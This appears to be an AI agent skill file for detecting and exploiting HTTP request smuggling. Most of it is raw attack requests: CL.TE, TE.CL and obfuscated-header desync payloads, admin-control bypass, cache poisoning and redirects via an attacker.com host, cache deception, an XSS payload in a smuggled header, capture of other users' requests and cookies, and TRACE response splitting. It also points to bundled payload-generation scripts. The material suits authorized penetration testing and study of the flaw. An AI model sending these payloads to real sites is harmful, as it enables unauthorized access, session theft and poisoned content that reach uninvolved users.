| name | http-request-smuggling |
| description | HTTP Request Smuggling vulnerability detection and exploitation. Use this skill whenever the user mentions HTTP desync, request smuggling, CL.TE, TE.CL, proxy desynchronization, Content-Length/Transfer-Encoding attacks, or wants to test for HTTP request smuggling vulnerabilities. This skill helps identify and exploit discrepancies between front-end proxies and back-end servers in HTTP/1.1 parsing. |
HTTP Request Smuggling Detection & Exploitation
A comprehensive guide for detecting and exploiting HTTP Request Smuggling vulnerabilities through front-end/back-end desynchronization.
Quick Start
- Identify the vulnerability type (CL.TE, TE.CL, TE.TE, etc.)
- Confirm with timing tests or differential response analysis
- Craft the exploit payload based on the vulnerability type
- Test for impact (cache poisoning, XSS, admin bypass, etc.)
Understanding HTTP Request Smuggling
HTTP Request Smuggling occurs when a desynchronization between front-end proxies (load balancers/reverse proxies) and back-end servers allows an attacker to send an HTTP request that is interpreted as:
- One request by the front-end proxy
- Two or more requests by the back-end server
This allows manipulation of subsequent requests that arrive at the back-end server.
Core Mechanism
The vulnerability arises from conflicting interpretations of HTTP headers:
| Header | Purpose |
|---|
Content-Length | Decimal number indicating body size in bytes |
Transfer-Encoding: chunked | Body sent in chunks with hex size indicators |
Connection: keep-alive | Maintains TCP connection for multiple requests |
RFC 2616 Rule: If both Transfer-Encoding and Content-Length are present, Content-Length MUST be ignored.
Vulnerability Types
CL.TE (Content-Length → Transfer-Encoding)
Front-end processes Content-Length, Back-end processes Transfer-Encoding.
POST / HTTP/1.1
Host: target.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
Detection: Send request with mismatched CL/TE. If back-end waits for chunked data that never arrives, expect timeout/delay.
TE.CL (Transfer-Encoding → Content-Length)
Front-end processes Transfer-Encoding, Back-end processes Content-Length.
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /admin HTTP/1.1
Host: target.com
Content-Length: 30
x=
0
Detection: Send chunked request where chunk size doesn't match CL. Back-end will wait for additional data.
TE.TE (Transfer-Encoding Obfuscation)
Both servers support Transfer-Encoding, but one can be tricked via header obfuscation:
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
CL.0 / TE.0 Scenarios
- CL.0: Front-end parses
Content-Length, back-end ignores it (treats as 0)
- TE.0: Similar but with
Transfer-Encoding
Detection Methods
Timing-Based Detection
For CL.TE:
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
For TE.CL:
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
Indicators:
- Response timeout or significant delay
- 400 Bad Request from back-end
- Different response times between requests
Differential Response Analysis
Send varied requests and observe response differences:
- Add malformed headers (e.g.,
" host" with leading space)
- Check if front-end vs back-end error messages differ
- Look for
Server header changes indicating different response sources
Visible vs Hidden Discrepancies
- Hidden-Visible: Front-end ignores malformed header, back-end processes it
- Visible-Hidden: Front-end processes malformed header, back-end ignores it
Exploitation Techniques
1. Bypass Front-End Security Controls
Access restricted endpoints (e.g., /admin) by smuggling requests past the proxy:
CL.TE Example:
POST / HTTP/1.1
Host: target.com
Cookie: session=VALID_SESSION
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
2. Web Cache Poisoning
Poison cached responses to serve malicious content to all users:
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Then request the cached resource to receive poisoned content.
3. Web Cache Deception
Cache sensitive user-specific content under static URLs:
POST / HTTP/1.1
Host: target.com
Connection: keep-alive
Content-Length: 43
Transfer-Encoding: chunked
0
GET /private/messages HTTP/1.1
Foo: X
4. Reflected XSS via Smuggling
Exploit XSS in normally inaccessible parts of requests (headers, etc.):
POST / HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Cookie: session=VALID
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: target.com
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
5. Exploit On-Site Redirects
Manipulate redirects to external attacker-controlled domains:
POST / HTTP/1.1
Host: target.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker.com
Foo: X
6. Capture Other Users' Requests
Store subsequent user requests in reflected parameters:
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=VALID
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: target.com
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=VALID
csrf=TOKEN&postId=4&name=test&email=test@test.com&comment=
7. Abusing TRACE Method
If TRACE is enabled, smuggle HEAD + TRACE to reflect arbitrary data:
GET / HTTP/1.1
Host: target.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: target.com
POST /reflect HTTP/1.1
Host: target.com
PADDING...HTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 44
<script>alert("response splitting")</script>
Important Considerations
Testing Best Practices
- Use separate connections for attack and victim requests
- Match URLs and parameters to ensure same back-end server
- Send victim request immediately after attack request
- Account for load balancing - may require multiple attempts
- Be cautious - avoid impacting real users
Burp Suite Configuration
Disable these in Repeater to prevent interference:
Update Content-Length
Normalize HTTP/1 line endings
Distinguishing from Pipelining
HTTP/1.1 pipelining can create false positives. To confirm real smuggling:
- Disable connection reuse and re-test
- Use HTTP/2 - nested HTTP/1 responses indicate real desync
- Check with HTTP Hacker extension for wire-level analysis
- Use partial-requests to detect connection-locked front-ends
Connection-Locked Smuggling
Some front-ends only reuse upstream connections when clients do. To exploit:
- Use controlled reuse (Turbo Intruder
requestsPerConnection=2)
- Chain to cache poisoning, header disclosure, or control bypass
- Prove server-side desync with HTTP/2 nested-response check
Tools
| Tool | Purpose |
|---|
| Burp HTTP Request Smuggler | Automated detection and exploitation |
| HTTP Hacker (Burp) | Wire-level HTTP analysis |
| Turbo Intruder | Precise connection control |
| http-request-smuggler (PortSwigger) | CLI detection tool |
| smugglefuzz | Grammar-based HTTP fuzzer |
Scripts
Use the bundled scripts for automated detection:
scripts/detect_smuggling.py - Automated CL.TE/TE.CL detection
scripts/generate_payloads.py - Generate exploit payloads for different scenarios
References